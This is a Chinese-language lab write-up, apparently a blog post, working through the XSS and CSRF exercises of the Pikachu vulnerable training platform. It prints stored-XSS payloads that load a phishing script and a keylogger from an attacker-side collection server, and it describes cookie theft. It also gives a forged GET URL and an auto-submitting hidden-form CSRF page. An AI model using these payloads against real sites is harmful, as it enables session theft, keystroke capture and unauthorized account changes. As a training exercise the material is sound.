pikachu的xss与csrf
XSS概述
XSS漏洞是web漏洞中危害较大的漏洞,是一种发生在web前端的漏洞,所以危害的对象也主要是前端用户,XSS可以用来进行钓鱼攻击,前端js挖矿,获取用户cookie。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。
XSS漏洞的常见类型
1.反射型,交互的数据一般不会存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
2.存储型交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面。
3.DOM型不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型。
XSS漏洞形成的原因
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致”精心构造”的脚本输入后,再输到前端时被浏览器当作有效代码解析执行从而产生危害
XSS漏洞测试流程
1, 在目标站点上找到输入点,比如查询接口,留言板等
2, 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理
3, 通过搜索定位到唯一字符,结合唯一字符前后的语法确认是否可以构造执行js的条件(构造闭合)
4, 提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明纯在XSS漏洞
Tips:
- 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
- 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
- 通过变化不同的script,尝试绕过后台过滤机制
1.反射性XSS(GET)
2.反射性XSS(POST)+获取Cookie

修改完成后,在登录用户的情况下访问此链接 http://192.168.1.1/pikachu/pkxss/xcookie/post.html
然后查看xss后台发现,cookie已经发送到xss后台


(2)存储型钓鱼

上图就是pikachu平台的钓鱼文件
所以我们构造payload指定到此文件上 payload为 <script src="http://192.168.1.1/pikachu/pkxss/xfish/fish.php"></srcipt>
输入payload提交之后,效果如下

(3)存储型键盘记录
同上,这里我们的pikachu平台有一个构造好的js文件和php文件,引用此script脚本会记录键盘记录,但是有一个要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。
//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");
其js和php的主要代码如下


我们构造引用js文件的payload <script src="http://192.168.1.1/pikachu/pkxss/rkeypress/rk.js"></srcipt>
提交执行,看起来并没有什么变化,但是查看源代码发现,xss插入成功

查看F12的Networking发现js已经被引用。






二、CSRF
1.CSRF(GET)
首先登陆一个账户,获取cookie以及信息。

点击修改个人信息

利用审查元素,查看submit类型

发现是get传参类型的表单,先提交一次测试一下。

找到传参的参数以及路径。可以确定为CSRF类型,利用刚才的networking情况构造payload。
将kobe的性别改为girl 电话改为 123456789地址改为PPSUC 邮箱改为PPSUC@edu.cn 则完整的url为 http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=PPSUC&email=PPSUC%40edu.n&submit=submit
我们以当前用户点击此链接。如图

发现个人信息已被修改

则CSRF(GET)payload成功。
2.CSRF(POST)
同上,这次我们登录allen的账号获取其cookie和个人信息。

点击修改个人信息

查看审查元素,发现此次提交表单为post类型提交数据

所以这次我们需要构造一个链接,此链接为我们自己服务器文件,功能为一被访问就自动post数据到修改个人资料的PHP文件上。
所以我们构造html为
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="PPSUC" />
<input id="email" type="text" name="email" value="PPSUC@edu.cn" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
此html在刚加载时就会触发id为postsubmit的对象,导致构造的form表单的数据被提交,而我们构造表单的vaule为我们想要的数据,这样就可以导致csrf产生。
测试:
我们在allen账号的状态下,点击我们html的url http://192.168.1.1/pikachu/vul/csrf/csrfpost/post.html
结果如下。先跳转到此页面

然后再跳转回个人信息页面

此时发现个人信息已被修改,然而有个很严重的问题,这个目标太显眼,我们要想办法把post.html的内容尽量减少。
例如:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="hidden" name="sex" value="girl" />
<input id="phonenum" type="hidden" name="phonenum" value="987654321" />
<input id="add" type="hidden" name="add" value="PPSUC" />
<input id="email" type="hidden" name="email" value="PPSUC@edu.cn" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
这样的画访问post.html如下图

应该还有其他方法减小目标,可以继续研究。
3.CSRF TOKEN


浙公网安备 33010602011771号